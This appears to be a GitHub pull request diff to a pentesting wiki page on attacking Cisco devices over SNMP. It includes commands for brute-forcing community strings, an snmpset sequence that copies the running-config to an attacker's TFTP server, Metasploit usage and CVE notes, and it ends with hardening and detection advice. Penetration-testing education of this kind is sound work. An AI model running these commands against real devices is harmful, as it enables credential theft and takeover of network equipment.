Skip to content

Research Update Enhanced src/network-services-pentesting/pen... #1239

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Research Update Enhanced src/network-services-pentesting/pen... #1239

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
96 changes: 78 additions & 18 deletions src/network-services-pentesting/pentesting-snmp/cisco-snmp.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -5,41 +5,101 @@

## Pentesting Cisco Networks

**SNMP** functions over UDP with ports 161/UDP for general messages and 162/UDP for trap messages. This protocol relies on community strings, serving as passwords that enable communication between SNMP agents and servers. These strings are pivotal for they determine access levels, specifically **read-only (RO) or read-write (RW) permissions**. A notable attack vector for pentesters is the **brute-forcing of community strings**, aiming to infiltrate network devices.
**SNMP** functions over UDP with ports **161/UDP** for general messages and **162/UDP** for trap messages. This protocol relies on *community strings*, serving as plaintext "passwords" that enable communication between SNMP agents and managers. These strings determine the access level, specifically **read-only (RO) or read-write (RW) permissions**.

A practical tool for executing such brute-force attacks is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), which necessitates a list of potential community strings and the IP addresses of the targets:
A classic—yet still extremely effective—attack vector is to **brute-force community strings** in order to elevate from unauthenticated user to device administrator (RW community).
A practical tool for this task is [**onesixtyone**](https://github.com/trailofbits/onesixtyone):

```bash
onesixtyone -c communitystrings -i targets
onesixtyone -c community_strings.txt -i targets.txt
```

#### `cisco_config_tftp`
Other fast options are the Nmap NSE script `snmp-brute` or Hydra's SNMP module:

The Metasploit framework features the `cisco_config_tftp` module, facilitating the extraction of device configurations, contingent upon acquiring an RW community string. Essential parameters for this operation include:
```bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
```

---

- RW community string (**COMMUNITY**)
- Attacker's IP (**LHOST**)
- Target device's IP (**RHOSTS**)
- Destination path for the configuration files (**OUTPUTDIR**)
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
If you obtain an **RW community** you can copy the running-config/startup-config to a TFTP/FTP server *without CLI access* by abusing the CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Two common approaches are:

Upon configuration, this module enables the download of device settings directly to a specified folder.
1. **Nmap NSE – `snmp-ios-config`**

#### `snmp_enum`
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
The script automatically orchestrates the copy operation and prints the configuration to stdout .

Another Metasploit module, **`snmp_enum`**, specializes in gathering detailed hardware information. It operates with either type of community string and requires the target's IP address for successful execution:
2. **Manual `snmpset` sequence**

```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
Row identifiers are *one-shot*; reuse within five minutes triggers `inconsistentValue` errors.

## References
Once the file is on your TFTP server you can inspect credentials (`enable secret`, `username <user> secret`, etc.) or even push a modified config back to the device.

- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
---

### Metasploit goodies

{{#include ../../banners/hacktricks-training.md}}
* **`cisco_config_tftp`** – downloads running-config/startup-config via TFTP after abusing the same MIB.
* **`snmp_enum`** – collects device inventory information, VLANs, interface descriptions, ARP tables, etc.

```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```

---

## Recent Cisco SNMP vulnerabilities (2023 – 2025)
Keeping track of vendor advisories is useful to scope *zero-day-to-n-day* opportunities inside an engagement:

| Year | CVE | Affected feature | Impact |
|------|-----|-----------------|--------|
| 2025 | CVE-2025-20174 | SNMP subsystem | Crafted packet leads to authenticated *DoS* (reload) on IOS/IOS-XE (v1/v2c/v3). |
| 2024 | CVE-2024-20373 | IPv4 ACL handling | Mis-configured **extended** ACLs silently *fail*, allowing unauthenticated SNMP polling when a valid community/user is known. |
| 2025 | (no CVE yet) | SNMPv3 configuration restriction bypass | Valid v3 user can poll from addresses that should be denied. |

Exploitability often still depends on possessing the community string or v3 credentials—another reason why brute-forcing them remains relevant.

---

## Hardening & Detection tips

* Upgrade to a fixed IOS/IOS-XE version (see Cisco advisory for the CVE above).
* Prefer **SNMPv3** with `authPriv` (SHA-256/AES-256) over v1/v2c.
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* Bind SNMP to a management VRF and **restrict with *standard* numbered IPv4 ACLs** (extended named ACLs are risky – CVE-2024-20373).
* Disable **RW communities**; if operationally required, limit them with ACL and views:
`snmp-server community <string> RW 99 view SysView`
* Monitor for:
- UDP/161 spikes or unexpected sources (SIEM rules).
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` events indicating out-of-band config changes.
* Enable **SNMPv3 logging** and `snmp-server packetsize 1500` to reduce certain DoS vectors.

---

## References

- Cisco: *How To Copy Configurations To and From Cisco Devices Using SNMP*
- Cisco Security Advisory *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)

{{#include ../../banners/hacktricks-training.md}}